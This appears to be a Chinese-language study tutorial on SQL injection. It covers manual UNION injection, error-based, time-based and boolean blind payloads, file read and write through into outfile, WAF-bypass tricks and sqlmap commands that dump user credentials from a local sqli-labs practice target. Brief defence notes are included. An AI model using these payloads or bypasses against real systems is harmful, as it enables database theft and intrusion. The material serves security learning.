一,SQL注入
1,什么是SQL注入
指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中实现定义好查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2,数据库概述
- 关系型数据库
- 常见的有:MySQL,Orcla,SQL Server等
- 非关系型数据库
- 常见有:MongoDB,Redis
3,MySQL数据库
union 合并查询有2个特性:
- 前面查询的语句 和 后面查询的语句 结果互不相干
- 前面的查询语句的字段数量 和 后面查询的字段数量要一致
order by 字段名字 也可以跟上字段(列)数量
- select * from test order by 3; 猜解字段数
系统库
- information_schema库
-
SCHEMATA:所有数据库信息
- SCHEMA_NAME:保存数据库所有库名的信息
-
TABLES:所有表的信息
- TABLE_NAME:保存所有表名的信息
-
COLUMNS:所有列信息
- columns_name:保存所有列名的信息
-
- Performance_schema库
- 用于收集数据库服务器性能参数,包括内存,磁盘
- mysql
- 存储数据库的用户信息,权限设置,关键字等
- sys ——把前两张库整合一起
二,MySQL手工注入
1,判断注入点
and 1=1
随便输入内容 == 报错–>注入点
2,猜解列名(字段)数量
order by 数字 == 报错–>字段数
3,判断回显点
union == 报错–>回显
4,信息收集
数据库版本 version() 高版本5.0以上 低版本5.0
数据库名称 database()
5,使用对应的SQL进行注入
group_concat()
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
union select 1,2,(select group_concat(username,0x3a,password)from users)
三,高权限注入
1,MySQL权限介绍
mysql库中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表
mysql权限表的验证过程:
- 先从user表中的Host,User,Password这三个字段中判断
- 通过身份认证后,进行权限分配,按照user,db,,,的顺序验证
- 先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db等表;
- 如果为N,则到db表中检查此用户对应的具体表,取得表中的权限Y,以此类推
MySQL权限级别分为:
- 全局性的管理权限:作用于整个MySQL实例级别
- 数据库级别的权限:作用于某个指定的数据库上或者所有数据库上
- 数据库对象级别的权限:作用于指定的数据库对象上或者所有的数据库对象
#查看mysql有哪些用户
select user,host from mysql.user;
查看用户对应的权限
select * from user where user='root' and host='localhost' \G;
#创建mysql用户
create user/grant
CREATE USER 'test'@'localhost' identified by '123456';
#只提供查询id的权限
grant select(id) on 库名.表名 to test1@'localhost' identified by '123456';
# 把普通用户变成管理员
grant all privileges on *.* to 'test'@'localhost' with grant option;
#删除用户
drop user test@'localhost';
2,注入流程——高权限跨库查询
- 判断注入点
- 判断回显
- 联合查询当前用户
- 查询数据库名
- ?id=-1%20union%20select%201,user(),group_concat(schema_name) from information_schema.schemata
- 查询对应数据库的表名
- ?id=-1%20union%20select%201,user(),group_concat(table_name) from information_schema.tables where table_schema=表名
- 查询表中对应的字段名
- ?id=-1%20union%20select%201,user(),group_concat(column_name) from information_schema.columns where table_name=表名
- 查询数据
3,高权限进行文件读写
文件读写注入的条件:高版本的MySQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
linux
cat /etc/my.cnf
[msqld]
secure_file_priv=
windows
my.ini
[msqld]
secure_file_priv=
#查看mysql全局变量的配置
show global variables like '%secure%'
- 读写文件需要secure_file_priv权限
- secure_file_priv= 代表对文件读写没有限制
- secure_file_priv=NULL 代表不能进行文件读写
- secure_file_priv=d:/phpstudy/mysql/data 代表只能对该路径下文件进行读写
- 了解知道网站的绝对路径
- /var/www/html /var/mysql/data
- phpstudy/www
- xampp/htdocs
- wamp/www
路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等
4,读写文件
使用函数:load_file() ——后面路径可以使用单引号,0x,char转换的字符
一般可以与union中做为一个字段使用,查看config.php(mysql的密码),apache配置。。。
使用函数写入文件:Into Outfile(能写入多行,按格式输出) 和 into Dumpfile(只能写入一行且没有输出格式)outfile后面不能接0x开头或者char转换后的路径,只能是单引号路径。
union select 1,2,‘mc’ into outfile ‘d:/yuan/2.txt’–+
四,基础防御
1,魔术引号
magic_quotes_gpc = On 一个自动将进入php脚本的数据进行转义的过程
在php.ini文件内找到魔术引号
2,内置函数过滤
is_int()
addslashes() —加斜杠
mysql_real_escape_string()
mysql_escape_string()
3,自定义关键字
str_replace(查找字,替换字,查找对象) 替换对应字符
五,SQL注入的数据类型
判断 SQL注入点
- 随便输入 and 1=1
- 数字型 注入点 id =1 and 1 = 1
- 字符型 注入点 id =1’
1,数字型
id = 1 and 1=2 --false
$id = $_GET(id)
原型:$sql = "select * from users where id=$id LIMIT 0,1"
2,字符型
$id = $_GET(id)
原型:$sql = "select * from users where id='$id' LIMIT 0,1"
在mysql中,会过滤1后面的数据,id=‘1dfgare’ 只会找1
在mysql中,字符可以用‘或者"
3,搜索型注入
like 模糊查询 %%通配符
原型:select * from user where like '%$id%';
%id =y%' or 1=1#
>>select * from user where like '%y%' or 1=1# %';
注释:#或--+
4,XX型注入点
由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx’) or 1=1 #)
常见闭合符号:’ " % ( {
六,SQL注入的提交方式
1,GET方式注入
2,POST方式注入
3,Request方式注入
超全局变量PHP中的许多预定义变量都是”超全局的“,这意味着它们在一个脚本的全部作用域都可以用,这些超全局变量是:
- $_REQUEST[‘’] (get,post,cookie提交的三合一)
- $_COOKIE[‘’] 提交
- $_SERVER 获取用户浏览器的信息
4,HTTP头部注入
Accept
Cookie
七,SQL查询方式及报错
1,查询方式
- select
- delete
- insert into 无回显点
- updata
2,报错盲注
-
基于报错的SQL盲注-报错回显(强制报错,报错显示的xpath参数会被sql调用)
- updatexml():从目标XML中更改包含所查询值的字符串
- extractvalue():从目标XML中返回包含所查询值的字符串
' or extractvalue(1,concat(0x7e,database())) or'
3,基于时间的SQL盲注-延时注入
- 基础知识
- sleep(): 时停
- if(条件,成立,不成立): 关键字,分支
- mid(a,b,c): 从b开始,截取a字符的c位
- substr(a,b,c): 从b开始,截取a字符串的c长度
- left(database(),1): 从左到右,返回1个字符
- length(database())=8: 判断长度
- ord=ascii ascii(x)=100:
- 用法
and sleep(if(database()='test',5,0))
and sleep(if(length(database()=8),5,0))
and sleep(if(mid(database(),1,1)='s',0,5))
防止‘或者"被转义,可以使用ascii码来转换
and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,sleep(3),0)
4,布尔盲注
注入流程:判断有无注入点,判断数据类型,结合二分法进行猜解
#猜解库名
and ascii(mid(database(),1,1))>115 --+
and ascii(mid(database(),1,1))>85 --+
and ascii(mid(database(),1,1))>105 --+
and ascii(mid(database(),1,1))>110 --+
and ascii(mid(database(),1,1))=115 --+
and ascii(mid(database(),2,1))=101 --+
#猜解表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>115 --+
5,加密注入
Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64给可打印字符来表示二进制数据的方法
- %3D 代表:=
sql注入时使用加密进行数据传输
6,堆叠注入
MySql中一堆sql语句堆在一起,可以全部查询,
一般用于插入,删除,修改等操作
和union(联合注入)的区别
- union执行语句类型有限,一般只能查询语句
- 堆叠可以执行任意语句
- 堆叠对数据库软件限制很大
八,WAF绕过
1,WAF拦截原理
从规则库中匹配敏感字符进行拦截
tips:
- %0a – 换行符
- %23 --#
- %20 --空格
2,绕过思路
- 数据
- 大小写混用
- 加密解密
- 编码解码
- 等价函数
- 特殊符号
- 反序列化
- 注释符混用
- 方式
- 更改提交方式
- 变异
- 其他
- Fuzz打法
- 数据库特性
- 垃圾数据溢出
tips:
- –+ # %23 :外联注释
- /**/ :内联注释,可以放在sql语句中执行
3,绕过方式
利用规则漏洞进行绕过
-
关键词大小写绕过
- and --> And union select -->Union sElEct
-
内联注释绕过
- –+ # %23 :外联注释
/**/ :内联注释,可以放在sql语句中执行
/*!union*/ !后面的东西会被sql执行 - database/**/()
- union/**/select
- /*!select * from test*/
- and or 绕过:%20///00//
- –+ # %23 :外联注释
-
HTTP参数污染
- 对目标发送多个参数,如果目标没有对参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/
- 对目标发送多个参数,如果目标没有对参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
-
换行绕过(\N)
union/*//--/*/ /*!--+/*%0aselect/*!1,database(),3*/--+
-
编码绕过
- 针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等
- 举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
-
双写绕过
- 部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时可以通过双写来进行绕过。UNIunionON,anandd
-
同义词替换
- and = &&
- or = ||
- = <>
九,sqlmap
1,Sqlmap简介
一个开源渗透测试工具,可以用来自动化SQL注入工具,主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
2,Sqlmap支持的注入方式
- 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注:既不能根据页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否已执行来判断
- 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
- 联合查询注入:可以使用Union的情况下的注入
- 堆查询注入:可以同时执行多条语句时的注入。
- 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器连接。以这种方式,攻击者可以收集数据或控制数据库的行为。
3,使用流程
常用命令:
-u 用于get提交方式,后面根注入的url
--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5),使用--level参数并且数值>=2的时候会查cookie里面的参数,当>=3时检查user-agent ,refereer
risk:执行测试的风险(0~3),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加or语句的sql注入
- get方式注入
sqlmap -u "http://192.168.133.1/sqli_labs_sqli-php7/Less-2/?id=1"
sqlmap -u "http://192.168.133.1/sqli_labs_sqli-php7/Less-2/?id=1" --dbs
sqlmap -u "http://192.168.133.1/sqli_labs_sqli-php7/Less-2/?id=1" -D "security" --tables
sqlmap -u "http://192.168.133.1/sqli_labs_sqli-php7/Less-2/?id=1" -D "security" -T "users" --columns
sqlmap -u "http://192.168.133.1/sqli_labs_sqli-php7/Less-2/?id=1" -D "security" -T "users" -C "id,password,username" --dump
4,sqlmap的使用(post注入)
- 方式一
- 使用bp抓包,将抓包数据保存至本地文件
- 列数据库 (-r表示加载一个文件,-p(也可以在文件中用*标记)指定参数,–current-db当前数据库 --forms自动检测表单)
sqlmap -r /tmp/1.txt -p uname --dbs
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n POST parameter 'uname' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
- 方式二
forms自动检测sqlmap -u "http://192.168.133.1/sqli_labs_sqli-php7/Less-12/" --forms